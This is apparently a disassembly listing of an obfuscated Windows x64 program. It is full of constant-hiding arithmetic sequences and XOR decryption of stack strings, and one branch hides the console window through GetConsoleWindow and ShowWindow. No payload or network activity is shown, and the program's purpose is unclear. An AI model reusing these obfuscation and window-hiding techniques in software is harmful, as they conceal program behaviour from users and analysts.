lea rax, [rsp + 0x62]
mov rdi, rax
xor eax, eax
mov ecx, 0xb0dfced8
pushf
not ecx
add ecx, 0xa05f901a
xor ecx, 0xf8c0e916
rol ecx, 0x35
popf
pushf
not ecx
add ecx, 0xdcd1b61d
xor ecx, 0xd1e6be37
rol ecx, 0xd
popf
rep stosb byte [rdi], al
movzx eax, byte [rsp + 0x61]
mov byte [rsp + 0xb8], al
movzx eax, byte [rsp + 0x62]
mov byte [rsp + 0xc0], al
movabs rax, 0x74cb423c3e4da55b
pushf
not rax
add rax, 0x51bf4ffb
xor rax, 0x4ea4f015
rol rax, 0xb5
popf
pushf
not rax
add rax, 0x7ddf9e18
xor rax, 0x496bc41a
rol rax, 0x62
popf
pushf
not rax
add rax, 0x7cabc58d
xor rax, 0x6b8cbcd0
rol rax, 0x7d
popf
mov qword [rsp + 0x4e0], rax
movabs rax, 0x3f4800cbde464c5a
pushf
not rax
add rax, 0x4c5b25c7
xor rax, 0x67fb1693
rol rax, 0x15
popf
pushf
not rax
add rax, 0x4175d37f
xor rax, 0x71b806bc
rol rax, 0xc6
popf
pushf
not rax
add rax, 0x54e2fafe
xor rax, 0x7fa04690
rol rax, 0x89
popf
mov qword [rsp + 0x4e8], rax
movabs rax, 0xe29ca3972d97328c
pushf
not rax
add rax, 0x6f605b55
xor rax, 0x7d308685
rol rax, 0x3b
popf
pushf
not rax
add rax, 0x705844f4
xor rax, 0x7f217ae9
rol rax, 0x67
popf
pushf
not rax
add rax, 0x4e2144d1
xor rax, 0x68aa8862
rol rax, 0x94
popf
pushf
not rax
add rax, 0x47ab86d6
xor rax, 0x5c1fecad
rol rax, 0xe8
popf
mov qword [rsp + 0xa50], rax
movabs rax, 0x68ee538adb170681
pushf
not rax
add rax, 0x72f758c3
xor rax, 0x6e4c7da1
rol rax, 0xdb
popf
pushf
not rax
add rax, 0x7cef774f
xor rax, 0x45cf3898
rol rax, 0xdf
popf
mov qword [rsp + 0xa58], rax
lea rax, [rsp + 0x63]
mov rdi, rax
xor eax, eax
mov ecx, 0x8ab5784b
pushf
not ecx
add ecx, 0xfe9f8666
xor ecx, 0xe7eaec57
rol ecx, 0xfb
popf
pushf
not ecx
add ecx, 0xda0f8b08
xor ecx, 0xd6ccbb87
rol ecx, 0x4d
popf
pushf
not ecx
add ecx, 0xac5b09b2
xor ecx, 0xb4c46d05
rol ecx, 0x7b
popf
pushf
not ecx
add ecx, 0xb29b555c
xor ecx, 0xeb0f0e60
rol ecx, 0xff
popf
rep stosb byte [rdi], al
movzx eax, byte [rsp + 0x63]
mov byte [rsp + 0xc8], al
movdqa xmm0, xmmword [rsp + 0xa50]
movdqa xmmword [rsp + 0x1380], xmm0
movdqa xmm0, xmmword [rsp + 0x4e0]
movdqa xmmword [rsp + 0x1370], xmm0
movdqa xmm0, xmmword [rsp + 0x1370]
pxor xmm0, xmmword [rsp + 0x1380]
movdqa xmmword [rsp + 0x1390], xmm0
movdqa xmm0, xmmword [rsp + 0x1390]
movdqa xmmword [rsp + 0x4e0], xmm0
lea rax, [rsp + 0x4e0]
mov rcx, rax
call fcn.1401dbaea
xor ecx, ecx
call fcn.140262c66
movzx eax, al
test eax, eax
je 0x1403e4c0e
push rax
pushf
mov eax, 0xfadd34c6
pushf
not eax
add eax, 0xbfa9028d
xor eax, 0xd120205e
rol eax, 0xb6
popf
pushf
not eax
add eax, 0xa540172f
xor eax, 0xb4d3c9d1
rol eax, 0xc6
popf
pushf
not eax
add eax, 0xa5d35e59
xor eax, 0xcc1f58ac
rol eax, 0x39
popf
pushf
not eax
add eax, 0xf1d93fd1
xor eax, 0xbd467a56
rol eax, 0xce
popf
jmp 0x1403e32c1
push rax
pushf
mov eax, 0x13c49cea
pushf
not eax
add eax, 0xddb949cf
xor eax, 0xe720769c
rol eax, 8
popf
pushf
not eax
add eax, 0xd40725e3
xor eax, 0xff2cb9b4
rol eax, 0x58
popf
jmp 0x1403e32c1
xor ecx, ecx
jmp 0x1403e4c44
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
push rax
pushf
mov eax, 0xc1d0515e
pushf
not eax
add eax, 0xf2e1a0f1
xor eax, 0xee88eecb
rol eax, 0x20
popf
pushf
not eax
add eax, 0xa3f47ddc
xor eax, 0xc0db70aa
rol eax, 0x15
popf
pushf
not eax
add eax, 0x82b4611f
xor eax, 0xfdb3d0ec
rol eax, 0x62
popf
jmp 0x1403e32c1
movss xmm0, dword [0x140118040]
movss dword [rsp + 0x3a8], xmm0
movss xmm0, dword [0x140118020]
movss dword [rsp + 0x3ac], xmm0
lea rcx, [rsp + 0x3a8]
call fcn.140164f74
lea rax, [rsp + 0x64]
mov rdi, rax
xor eax, eax
mov ecx, 0x5e72cd40
pushf
not ecx
add ecx, 0xa18021af
xor ecx, 0xb92f8b9a
rol ecx, 0xb8
popf
pushf
not ecx
add ecx, 0xd886f0ed
xor ecx, 0x82f0b735
rol ecx, 0xe2
popf
pushf
not ecx
add ecx, 0xf873ae93
xor ecx, 0xb529e037
rol ecx, 0x8d
popf
pushf
not ecx
add ecx, 0xc63f16e2
xor ecx, 0xc10e7dec
rol ecx, 0x72
popf
rep stosb byte [rdi], al
lea rax, [rsp + 0x65]
mov rdi, rax
xor eax, eax
mov ecx, 0x8b8a16cf
pushf
not ecx
add ecx, 0xc9523d00
xor ecx, 0x9012e011
rol ecx, 0xbe
popf
pushf
not ecx
add ecx, 0xf8503547
xor ecx, 0xb27c50f7
rol ecx, 0xcb
popf
pushf
not ecx
add ecx, 0xdfef069f
xor ecx, 0xf568d3de
rol ecx, 0x96
popf
pushf
not ecx
add ecx, 0xb2a30985
xor ecx, 0xd4d1fae9
rol ecx, 0xb9
popf
rep stosb byte [rdi], al
movss xmm0, dword [0x14011804c]
movss dword [rsp + 0x3b0], xmm0
movss xmm0, dword [0x140118048]
movss dword [rsp + 0x3b4], xmm0
lea rax, [rsp + 0x3b0]
mov qword [rsp + 0x698], rax
movzx eax, byte [rsp + 0x64]
mov byte [rsp + 0xd0], al
movzx eax, byte [rsp + 0x65]
mov byte [rsp + 0xd8], al
movabs rax, 0xe345eb3894148eef
pushf
not rax
add rax, 0x7c90929f
xor rax, 0x6e0f7df1
rol rax, 0xd0
popf
pushf
not rax
add rax, 0x718882c3
xor rax, 0x6187958b
rol rax, 3
popf
mov qword [rsp + 0x4f0], rax
movabs rax, 0x917362a397f2c995
pushf
not rax
add rax, 0x7bf70163
xor rax, 0x5bb77f23
rol rax, 0x85
popf
pushf
not rax
add rax, 0x5d9b72a8
xor rax, 0x796797e0
rol rax, 0x6d
popf
pushf
not rax
add rax, 0x6a5ca8dd
xor rax, 0x60f5a770
rol rax, 0xca
popf
pushf
not rax
add rax, 0x474fd2cd
xor rax, 0x76ae5a71
rol rax, 0xf3
popf
mov qword [rsp + 0x4f8], rax
movabs rax, 0x7ce087816c1e913e
pushf
not rax
add rax, 0x5480bdf0
xor rax, 0x5b14c47a
rol rax, 0x89
popf
pushf
not rax
add rax, 0x76863113
xor rax, 0x58f305be
rol rax, 0x3f
popf
pushf
not rax
add rax, 0x7dd3e4c6
xor rax, 0x52689d86
rol rax, 0x97
popf
mov qword [rsp + 0xa60], rax
movabs rax, 0x7ce5d33e761d916
pushf
not rax
add rax, 0x7f0b4c48
xor rax, 0x5e6e857a
rol rax, 0x73
popf
pushf
not rax
add rax, 0x53c585ea
xor rax, 0x6d6b7848
rol rax, 0xca
popf
pushf
not rax
add rax, 0x4df4e98e
xor rax, 0x4930bdfb
rol rax, 0xce
popf
pushf
not rax
add rax, 0x76563e09
xor rax, 0x7fd6e796
rol rax, 0x67
popf
mov qword [rsp + 0xa68], rax
lea rax, [rsp + 0x66]
mov rdi, rax
xor eax, eax
mov ecx, 0x94c33005
pushf
not ecx
add ecx, 0x9131a36a
xor ecx, 0xf413323b
rol ecx, 0x89
popf
pushf
not ecx
add ecx, 0xeef15444
xor ecx, 0xb4416865
rol ecx, 0x97
popf
pushf
not ecx
add ecx, 0xa05ec3ec
xor ecx, 0xd2c47bfd
rol ecx, 0xd9
popf
pushf
not ecx
add ecx, 0xe9a7db22
xor ecx, 0xc657e5a1
rol ecx, 0x5b
popf
rep stosb byte [rdi], al
movzx eax, byte [rsp + 0x66]
mov byte [rsp + 0xe0], al
movdqa xmm0, xmmword [rsp + 0xa60]
movdqa xmmword [rsp + 0x13f0], xmm0
movdqa xmm0, xmmword [rsp + 0x4f0]
movdqa xmmword [rsp + 0x13a0], xmm0
movdqa xmm0, xmmword [rsp + 0x13a0]
pxor xmm0, xmmword [rsp + 0x13f0]
movdqa xmmword [rsp + 0x1400], xmm0
movdqa xmm0, xmmword [rsp + 0x1400]
movdqa xmmword [rsp + 0x4f0], xmm0
lea rax, [rsp + 0x4f0]
mov qword [rsp + 0x6a0], rax
xor r9d, r9d
mov r8b, 0xec
pushf
not r8b
add r8b, 0xea
xor r8b, 0xb4
rol r8b, 0xe7
popf
pushf
not r8b
add r8b, 0x82
xor r8b, 0xfd
rol r8b, 0x23
popf
mov rdx, qword [rsp + 0x698]
mov rcx, qword [rsp + 0x6a0]
call fcn.14037859d
movzx eax, byte [0x140140870]
test eax, eax
jne 0x1403e50aa
push rax
pushf
mov eax, 0x7200a4ba
pushf
not eax
add eax, 0xfb6da8c7
xor eax, 0x8606f8af
rol eax, 0x54
popf
pushf
not eax
add eax, 0xd20c6a32
xor eax, 0xc7297810
rol eax, 0xec
popf
pushf
not eax
add eax, 0xe80001f3
xor eax, 0x9749d5e2
rol eax, 4
popf
jmp 0x1403e32c1
push rax
pushf
mov eax, 0x4285c685
pushf
not eax
add eax, 0xa184f6b5
xor eax, 0x897b1844
rol eax, 0x8e
popf
pushf
not eax
add eax, 0xf9f2383b
xor eax, 0xac521ada
rol eax, 0x9a
popf
pushf
not eax
add eax, 0xa42b5018
xor eax, 0x971d3abe
rol eax, 0xc1
popf
jmp 0x1403e32c1
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
xor edx, edx
mov rcx, rax
jmp 0x1403e50fd
call qword [sym.imp.USER32.dll_ShowWindow]
mov byte [0x140140870], 1
push rax
pushf
mov eax, 0x52ee8cb3
pushf
not eax
add eax, 0xd55310ae
xor eax, 0xdca8c900
rol eax, 0x2a
popf
pushf
not eax
add eax, 0x8f72793a
xor eax, 0xcd53f2b6
rol eax, 0xe0
popf
pushf
not eax
add eax, 0xe42bbbeb
xor eax, 0xe1163ee2
rol eax, 0xe5
popf
jmp 0x1403e32c1
movss xmm0, dword [0x140118030]
movss dword [rsp + 0x3b8], xmm0
movss xmm0, dword [0x14011800c]
movss dword [rsp + 0x3bc], xmm0
lea rcx, [rsp + 0x3b8]
call fcn.140164f74
lea rax, [rsp + 0x67]
mov rdi, rax
xor eax, eax
mov ecx, 0xf4d303a
pushf
not ecx
add ecx, 0x9a2ca648
xor ecx, 0xb0119751
rol ecx, 0xa0
popf
pushf
not ecx
add ecx, 0xe80ecdf4
xor ecx, 0xb5011071
rol ecx, 0xa6
popf
pushf
not ecx
add ecx, 0x91b973ed
xor ecx, 0x99db0bd7
rol ecx, 0x1a
popf
pushf
not ecx
add ecx, 0x968724dc
xor ecx, 0xd236a015
rol ecx, 0xac
popf
rep stosb byte [rdi], al
lea rax, [rsp + 0x68]
mov rdi, rax
xor eax, eax
mov ecx, 0x82047478
pushf
not ecx
add ecx, 0xf86b2161
xor ecx, 0xcaaf4ecc
rol ecx, 0xe5
popf
pushf
not ecx
add ecx, 0xe00e3ba1
xor ecx, 0x8db40b44
rol ecx, 0xb0
popf
pushf
not ecx
add ecx, 0xcac6ba51
xor ecx, 0xcef8eeeb
rol ecx, 0x89
popf
rep stosb byte [rdi], al
movzx eax, byte [rsp + 0x67]
mov byte [rsp + 0xe8], al
movzx eax, byte [rsp + 0x68]
mov byte [rsp + 0xf0], al
movabs rax, 0x472f5a0c1603e8e0
pushf
not rax
add rax, 0x49eb9c2f
xor rax, 0x49e343a2
rol rax, 0xc1
popf
pushf
not rax
add rax, 0x4a6f249f
xor rax, 0x71c9b7d5
rol rax, 0x96
popf
pushf
not rax
add rax, 0x4f0facb2
xor rax, 0x4a472ce4
rol rax, 0x3e
popf
mov qword [rsp + 0x500], rax
movabs rax, 0x2cd5be8cfe4c48bf
pushf
not rax
add rax, 0x5d4ab320
xor rax, 0x78ceebeb
rol rax, 0x22
popf
pushf
not rax
add rax, 0x7efa0035
xor rax, 0x4100c8f6
rol rax, 0x47
popf
mov qword [rsp + 0x508], rax
movabs rax, 0xf90b2cf21f55fea4
pushf
not rax
add rax, 0x7f974944
xor rax, 0x699cf123
rol rax, 0xd1
popf
pushf
not rax
add rax, 0x75eeaa3c
xor rax, 0x4b39206d
rol rax, 0xc0
popf
mov qword [rsp + 0xa70], rax
movabs rax, 0x73a1efcf50df778b
pushf
not rax
add rax, 0x67ff29e2
xor rax, 0x637a8192
rol rax, 0xce
popf
pushf
not rax
add rax, 0x4ac025dc
xor rax, 0x5daa3fc6
rol rax, 0x7e
popf
mov qword [rsp + 0xa78], rax
lea rax, [rsp + 0x69]
mov rdi, rax
xor eax, eax
mov ecx, 0xfdcdccf7
pushf
not ecx
add ecx, 0xceeba0d0
xor ecx, 0xe540afa0
rol ecx, 0x91
popf
pushf
not ecx
add ecx, 0xcc574e51
xor ecx, 0xd36ee596
rol ecx, 0x2d
popf
rep stosb byte [rdi], al
movzx eax, byte [rsp + 0x69]
mov byte [rsp + 0xf8], al
movdqa xmm0, xmmword [rsp + 0xa70]
movdqa xmmword [rsp + 0x1420], xmm0
movdqa xmm0, xmmword [rsp + 0x500]
movdqa xmmword [rsp + 0x1410], xmm0
movdqa xmm0, xmmword [rsp + 0x1410]
pxor xmm0, xmmword [rsp + 0x1420]
movdqa xmmword [rsp + 0x1430], xmm0
movdqa xmm0, xmmword [rsp + 0x1430]
movdqa xmmword [rsp + 0x500], xmm0
lea rax, [rsp + 0x500]
mov rcx, rax
call fcn.1401dbaea
movss xmm0, dword [0x14011801c]
movss dword [rsp + 0x3c0], xmm0
movss xmm0, dword [0x140118018]
movss dword [rsp + 0x3c4], xmm0
lea rcx, [rsp + 0x3c0]
call fcn.140164f74
lea rax, [rsp + 0x6a]
mov rdi, rax
xor eax, eax
mov ecx, 0xe7d5c51f
pushf
not ecx
add ecx, 0xa8cb7171
xor ecx, 0xc52dd4b4
rol ecx, 0x28
popf
pushf
not ecx
add ecx, 0x90ca6693
xor ecx, 0xc6eee2c7
rol ecx, 0x57
popf
pushf
not ecx
add ecx, 0xa2872faf
xor ecx, 0xa1fc62b5
rol ecx, 0xb6
popf
pushf
not ecx
add ecx, 0xd7d3c550
xor ecx, 0x85bcb664
rol ecx, 0xb3
popf
rep stosb byte [rdi], al
lea rax, [rsp + 0x6b]
mov rdi, rax
xor eax, eax
mov ecx, 0x15258d28
pushf
not ecx
add ecx, 0xc5ea0a10
xor ecx, 0xa72d8577
rol ecx, 0x28
popf
pushf
not ecx
add ecx, 0xcbff2d03
xor ecx, 0xdcdd8d9d
rol ecx, 0xc5
popf
pushf
not ecx
add ecx, 0x866f5170
xor ecx, 0xc5d4ba88
rol ecx, 0xd1
popf
pushf
not ecx
add ecx, 0xedd832c8
xor ecx, 0xbd9755d4
rol ecx, 0x59
popf
rep stosb byte [rdi], al
movzx eax, byte [rsp + 0x6a]
mov byte [rsp + 0x100], al
movzx eax, byte [rsp + 0x6b]
mov byte [rsp + 0x108], al
movabs rax, 0x55a08bcfb257777a
pushf
not rax
add rax, 0x7f156bc0
xor rax, 0x58146412
rol rax, 0x2e
popf
pushf
not rax
add rax, 0x4aeaae5a
xor rax, 0x5a40e8eb
rol rax, 0x29
popf
mov qword [rsp + 0x790], rax
movabs rax, 0xd5fdab50ec887ef0
pushf
not rax
add rax, 0x57e253cb
xor rax, 0x6cd076f1
rol rax, 0xde
popf
pushf
not rax
add rax, 0x56aaf535
xor rax, 0x45e2ace4
rol rax, 0xd9
popf
mov qword [rsp + 0x798], rax
movabs rax, 0x3639bdbfed91d7fa
pushf
not rax
add rax, 0x63009228
xor rax, 0x41c3038e
rol rax, 0xc9
popf
pushf
not rax
add rax, 0x6ff39c62
xor rax, 0x4b896e93
rol rax, 0x36
popf
pushf
not rax
add rax, 0x5b563f02
xor rax, 0x673a187a
rol rax, 0
popf
pushf
not rax
add rax, 0x4d04f7a5
xor rax, 0x6bc062a0
rol rax, 0x3b
popf
mov qword [rsp + 0x7a0], rax
movabs rax, 0xdb268b74ca8c9b50
pushf
not rax
add rax, 0x4211e4d1
xor rax, 0x7dd09cb7
rol rax, 0xe4
popf
pushf
not rax
add rax, 0x6deb8f15
xor rax, 0x65a588cf
rol rax, 0x4c
popf
mov qword [rsp + 0x7a8], rax
movabs rax, 0xbffeb326c5f55457
pushf
not rax
add rax, 0x4a3876a4
xor rax, 0x4de91ab4
rol rax, 0x63
popf
pushf
not rax
add rax, 0x5858c8bf
xor rax, 0x48e6a391
rol rax, 0xfb
popf
pushf
not rax
add rax, 0x6573555f
xor rax, 0x4b7ba0b2
rol rax, 0x5d
popf
pushf
not rax
add rax, 0x7decc807
xor rax, 0x7cf662bb
rol rax, 0xe9
popf
mov qword [rsp + 0x7b0], rax
movabs rax, 0x3ecdc3172252b5ca
pushf
not rax
add rax, 0x548d6c25
xor rax, 0x718d9366
rol rax, 0xf7
popf
pushf
not rax
add rax, 0x496176c9
xor rax, 0x58dd03c2
rol rax, 0xff
popf
pushf
not rax
add rax, 0x515576c2
xor rax, 0x6854e88c
rol rax, 0x9c
popf
pushf
not rax
add rax, 0x6cffdb86
xor rax, 0x73f1d9e8
rol rax, 0x5e
popf
mov qword [rsp + 0x7b8], rax
movabs rax, 0x5a110a4ad0711ca7
pushf
not rax
add rax, 0x73790c57
xor rax, 0x5266c492
rol rax, 0x5b
popf
pushf
not rax
add rax, 0x4f4eed12
xor rax, 0x4d1ded14
rol rax, 0x23
popf
pushf
not rax
add rax, 0x5fa3645c
xor rax, 0x536d06dd
rol rax, 0x4b
popf
mov qword [rsp + 0xa80], rax
movabs rax, 0x36e9cd68a0d1b734
pushf
not rax
add rax, 0x6908ac56
xor rax, 0x5df1b58b
rol rax, 0xd
popf
pushf
not rax
add rax, 0x4514a6fb
xor rax, 0x6cfa1fb4
rol rax, 3
popf
pushf
not rax
add rax, 0x5c57a066
xor rax, 0x5b26fb14
rol rax, 0xa6
popf
pushf
not rax
add rax, 0x73ccd920
xor rax, 0x6f01c71b
rol rax, 0x4e
popf
mov qword [rsp + 0xa88], rax
movabs rax, 0x99b07c65a76fec82
pushf
not rax
add rax, 0x61d19359
xor rax, 0x4414b505
rol rax, 0x90
popf
pushf
not rax
add rax, 0x65f46a5a
xor rax, 0x6e9eabc8
rol rax, 0xb6
popf
pushf
not rax
add rax, 0x6e387a72
xor rax, 0x7904799b
rol rax, 0xcc
popf
pushf
not rax
add rax, 0x61466455
xor rax, 0x6977d46d
rol rax, 0x59
popf
mov qword [rsp + 0xa90], rax
movabs rax, 0x845f10e46e9af8d0
pushf
not rax
add rax, 0x74c886ca
xor rax, 0x54c6cd4c
rol rax, 0x1d
popf
pushf
not rax
add rax, 0x75cd0e4d
xor rax, 0x65122cc8
rol rax, 0xd2
popf
mov qword [rsp + 0xa98], rax
movabs rax, 0x290870174eb0dbd9
pushf
not rax
add rax, 0x58438843
xor rax, 0x4f953f04
rol rax, 0xfc
popf
pushf
not rax
add rax, 0x5eb90c8e
xor rax, 0x6318bd6a
rol rax, 0x3c
popf
mov qword [rsp + 0xaa0], rax
movabs rax, 0xd86161f1aaa9eb07
pushf
not rax
add rax, 0x545b48a1
xor rax, 0x5697aa56
rol rax, 0x84
popf
pushf
not rax
add rax, 0x5a539510
xor rax, 0x7a0fc706
rol rax, 0xb5
popf
pushf
not rax
add rax, 0x5fff832a
xor rax, 0x422b30fe
rol rax, 0x5a
popf
mov qword [rsp + 0xaa8], rax
lea rax, [rsp + 0x6c]
mov rdi, rax
xor eax, eax
mov ecx, 0xe070e372
pushf
not ecx
add ecx, 0x8d3e3b30
xor ecx, 0xb4cbf63e
rol ecx, 0x55
popf
pushf
not ecx
add ecx, 0x99189cc6
xor ecx, 0xce4bd164
rol ecx, 0xc7
popf
pushf
not ecx
add ecx, 0xa2057846
xor ecx, 0xd3643e1d
rol ecx, 0x8c
popf
pushf
not ecx
add ecx, 0xcdca5cab
xor ecx, 0x8cd35d92
rol ecx, 0x6a
popf
rep stosb byte [rdi], al
movzx eax, byte [rsp + 0x6c]
mov byte [rsp + 0x110], al
movdqa xmm0, xmmword [rsp + 0xa80]
movdqa xmmword [rsp + 0x1450], xmm0
movdqa xmm0, xmmword [rsp + 0x790]
movdqa xmmword [rsp + 0x1440], xmm0
movdqa xmm0, xmmword [rsp + 0x1440]
pxor xmm0, xmmword [rsp + 0x1450]
movdqa xmmword [rsp + 0x1460], xmm0
movdqa xmm0, xmmword [rsp + 0x1460]
movdqa xmmword [rsp + 0x790], xmm0
lea rax, [rsp + 0x7a0]
mov qword [rsp + 0x3c8], rax
lea rax, [rsp + 0xa90]
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0x1480], xmm0
mov rax, qword [rsp + 0x3c8]
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0x1470], xmm0
movdqa xmm0, xmmword [rsp + 0x1470]
pxor xmm0, xmmword [rsp + 0x1480]
movdqa xmmword [rsp + 0x1490], xmm0
mov rax, qword [rsp + 0x3c8]
movdqa xmm0, xmmword [rsp + 0x1490]
movdqu xmmword [rax], xmm0
lea rax, [rsp + 0x7b0]
mov qword [rsp + 0x3d0], rax
lea rax, [rsp + 0xaa0]
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0x14b0], xmm0
mov rax, qword [rsp + 0x3d0]
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0x14a0], xmm0
movdqa xmm0, xmmword [rsp + 0x14a0]
pxor xmm0, xmmword [rsp + 0x14b0]
movdqa xmmword [rsp + 0xc10], xmm0
mov rax, qword [rsp + 0x3d0]
movdqa xmm0, xmmword [rsp + 0xc10]
movdqu xmmword [rax], xmm0
lea rax, [rsp + 0x790]
mov rcx, rax
call fcn.1401a5d17
movss xmm0, dword [0x140118044]
call fcn.1401f39d3
movss xmm0, dword [0x140118010]
movss dword [rsp + 0x3d8], xmm0
movss xmm0, dword [0x140118024]
movss dword [rsp + 0x3dc], xmm0
lea rcx, [rsp + 0x3d8]
call fcn.140164f74
lea rax, [rsp + 0x6d]
mov rdi, rax
xor eax, eax
mov ecx, 0x778d95dd
pushf
not ecx
add ecx, 0xabae0126
xor ecx, 0xb35350e9
rol ecx, 0x97
popf
pushf
not ecx
add ecx, 0xb1338672
xor ecx, 0xe06f4cd4
rol ecx, 0x31
popf
rep stosb byte [rdi], al
lea rax, [rsp + 0x6e]
mov rdi, rax
xor eax, eax
mov ecx, 0x1f1bca7d
pushf
not ecx
add ecx, 0xda30eff6
xor ecx, 0xd9a679be
rol ecx, 0x84
popf
pushf
not ecx
add ecx, 0xea4e5301
xor ecx, 0xbf18a69a
rol ecx, 0x13
popf
rep stosb byte [rdi], al
movzx eax, byte [rsp + 0x6d]
mov byte [rsp + 0x118], al
movzx eax, byte [rsp + 0x6e]
mov byte [rsp + 0x120], al
movabs rax, 0xa2046c4e13a6b6ce
pushf
not rax
add rax, 0x48f0fbe2
xor rax, 0x563b4ee8
rol rax, 0xda
popf
pushf
not rax
add rax, 0x55be357c
xor rax, 0x5696b59c
rol rax, 0x6f
popf
pushf
not rax
add rax, 0x5ef93e33
xor rax, 0x7bc278ea
rol rax, 0xf8
popf
mov qword [rsp + 0x510], rax
movabs rax, 0x2054b3390167325d
pushf
not rax
add rax, 0x619d78b3
xor rax, 0x45b893bc
rol rax, 0x32
popf
pushf
not rax
add rax, 0x5107c40b
xor rax, 0x6f73c576
rol rax, 0x29
popf
pushf
not rax
add rax, 0x558628ff
xor rax, 0x6a0bf5f0
rol rax, 0x86
popf
pushf
not rax
add rax, 0x691acd04
xor rax, 0x61419dee
rol rax, 0xb1
popf
mov qword [rsp + 0x518], rax
movabs rax, 0x20b2a2bc881ad6b1
pushf
not rax
add rax, 0x440ccd15
xor rax, 0x7b57ea4a
rol rax, 0xda
popf
pushf
not rax
add rax, 0x680b89f3
xor rax, 0x719c8143
rol rax, 0xce
popf
mov qword [rsp + 0xb70], rax
movabs rax, 0xb2d06d830df7b9f7
pushf
not rax
add rax, 0x47388c2c
xor rax, 0x5ec2a6b8
rol rax, 0x14
popf
pushf
not rax
add rax, 0x787b99f4
xor rax, 0x5eb50e15
rol rax, 0x2c
popf
pushf
not rax
add rax, 0x6bfdf1f8
xor rax, 0x5b98e0d5
rol rax, 0x63
popf
pushf
not rax
add rax, 0x742d83fd
xor rax, 0x5ef6a037
rol rax, 0x3a
popf
mov qword [rsp + 0xb78], rax
lea rax, [rsp + 0x6f]
mov rdi, rax
xor eax, eax
mov ecx, 0xa4d0178b
pushf
not ecx
add ecx, 0xdb4c8eaf
xor ecx, 0xbc3493a0
rol ecx, 0x45
popf
pushf
not ecx
add ecx, 0xfba060c3
xor ecx, 0xb383d051
rol ecx, 0x28
popf
rep stosb byte [rdi], al
movzx eax, byte [rsp + 0x6f]
mov byte [rsp + 0x128], al
movdqa xmm0, xmmword [rsp + 0xb70]
movdqa xmmword [rsp + 0xc30], xmm0
movdqa xmm0, xmmword [rsp + 0x510]
movdqa xmmword [rsp + 0xc20], xmm0
movdqa xmm0, xmmword [rsp + 0xc20]
pxor xmm0, xmmword [rsp + 0xc30]
movdqa xmmword [rsp + 0xc40], xmm0
movdqa xmm0, xmmword [rsp + 0xc40]
movdqa xmmword [rsp + 0x510], xmm0
lea rax, [rsp + 0x510]
mov rcx, rax
call fcn.1401dbaea
movss xmm0, dword [0x14011800c]
movss dword [rsp + 0x3e0], xmm0
movss xmm0, dword [0x14011802c]
movss dword [rsp + 0x3e4], xmm0
lea rcx, [rsp + 0x3e0]
call fcn.140164f74
lea rax, [rsp + 0x70]
mov rdi, rax
xor eax, eax
mov ecx, 0xaabcbd59
pushf
not ecx
add ecx, 0xc107d3c3
xor ecx, 0x85b69716
rol ecx, 0x89
popf
pushf
not ecx
add ecx, 0x9dc23fea
xor ecx, 0x80d51cd5
rol ecx, 0x2f
popf
pushf
not ecx
add ecx, 0xfb6f8a8c
xor ecx, 0xcd43f956
rol ecx, 0x2b
popf
rep stosb byte [rdi], al
lea rax, [rsp + 0x71]
mov rdi, rax
xor eax, eax
mov ecx, 0xb3d5443e
pushf
not ecx
add ecx, 0xd3d778ab
xor ecx, 0xb50ed00d
rol ecx, 0x50
popf
pushf
not ecx
add ecx, 0xdff26e94
xor ecx, 0xca270af6
rol ecx, 0x96
popf
pushf
not ecx
add ecx, 0xf6e350ef
xor ecx, 0x95b6b64b
rol ecx, 0xe4
popf
pushf
not ecx
add ecx, 0xa10bd519
xor ecx, 0xef068a00
rol ecx, 0x82
popf
rep stosb byte [rdi], al
movzx eax, byte [rsp + 0x70]
mov byte [rsp + 0x130], al
movzx eax, byte [rsp + 0x71]
mov byte [rsp + 0x138], al
movabs rax, 0x8d301249d8524196
pushf
not rax
add rax, 0x6d8cb621
xor rax, 0x46fc7a11
rol rax, 0x9b
popf
pushf
not rax
add rax, 0x70360280
xor rax, 0x70db6c3b
rol rax, 0x9f
popf
pushf
not rax
add rax, 0x4f6cedc3
xor rax, 0x4560b272
rol rax, 0x37
popf
pushf
not rax
add rax, 0x624ec804
xor rax, 0x6fdaac96
rol rax, 0xc7
popf
mov qword [rsp + 0x520], rax
movabs rax, 0x34db58525b386ce5
pushf
not rax
add rax, 0x4f511ead
xor rax, 0x6b7f7fa0
rol rax, 0xa1
popf
pushf
not rax
add rax, 0x7af40fcb
xor rax, 0x65269387
rol rax, 0xe
popf
pushf
not rax
add rax, 0x5b99e597
xor rax, 0x51aab663
rol rax, 0xb
popf
mov qword [rsp + 0x528], rax
movabs rax, 0xc348dbacd1ae4b34
pushf
not rax
add rax, 0x479e4003
xor rax, 0x79987325
rol rax, 0x69
popf
pushf
not rax
add rax, 0x7425807d
xor rax, 0x6c41a758
rol rax, 0x7c
popf
pushf
not rax
add rax, 0x63fe5468
xor rax, 0x62d56e41
rol rax, 0x56
popf
mov qword [rsp + 0x8c0], rax
movabs rax, 0x26896244b318e279
pushf
not rax
add rax, 0x68fd6684
xor rax, 0x6a542de1
rol rax, 0x1b
popf
pushf
not rax
add rax, 0x5ce01076
xor rax, 0x41755893
rol rax, 0xda
popf
pushf
not rax
add rax, 0x58845cb7
xor rax, 0x4ee6f2a9
rol rax, 0x8e
popf
mov qword [rsp + 0x8c8], rax
lea rax, [rsp + 0x72]
mov rdi, rax
xor eax, eax
mov ecx, 0x2166f954
pushf
not ecx
add ecx, 0xd452d577
xor ecx, 0xb1e58144
rol ecx, 0xfb
popf
pushf
not ecx
add ecx, 0xffbb36a6
xor ecx, 0xf29513ec
rol ecx, 0x6a
popf
pushf
not ecx
add ecx, 0xab6ef3f6
xor ecx, 0x940d3e12
rol ecx, 0xc3
popf
pushf
not ecx
add ecx, 0x847336eb
xor ecx, 0xc76e0e50
rol ecx, 6
popf
rep stosb byte [rdi], al
movzx eax, byte [rsp + 0x72]
mov byte [rsp + 0x140], al
movdqa xmm0, xmmword [rsp + 0x8c0]
movdqa xmmword [rsp + 0xc60], xmm0
movdqa xmm0, xmmword [rsp + 0x520]
movdqa xmmword [rsp + 0xc50], xmm0
movdqa xmm0, xmmword [rsp + 0xc50]
pxor xmm0, xmmword [rsp + 0xc60]
movdqa xmmword [rsp + 0xc70], xmm0
movdqa xmm0, xmmword [rsp + 0xc70]
movdqa xmmword [rsp + 0x520], xmm0
lea rax, [rsp + 0x520]
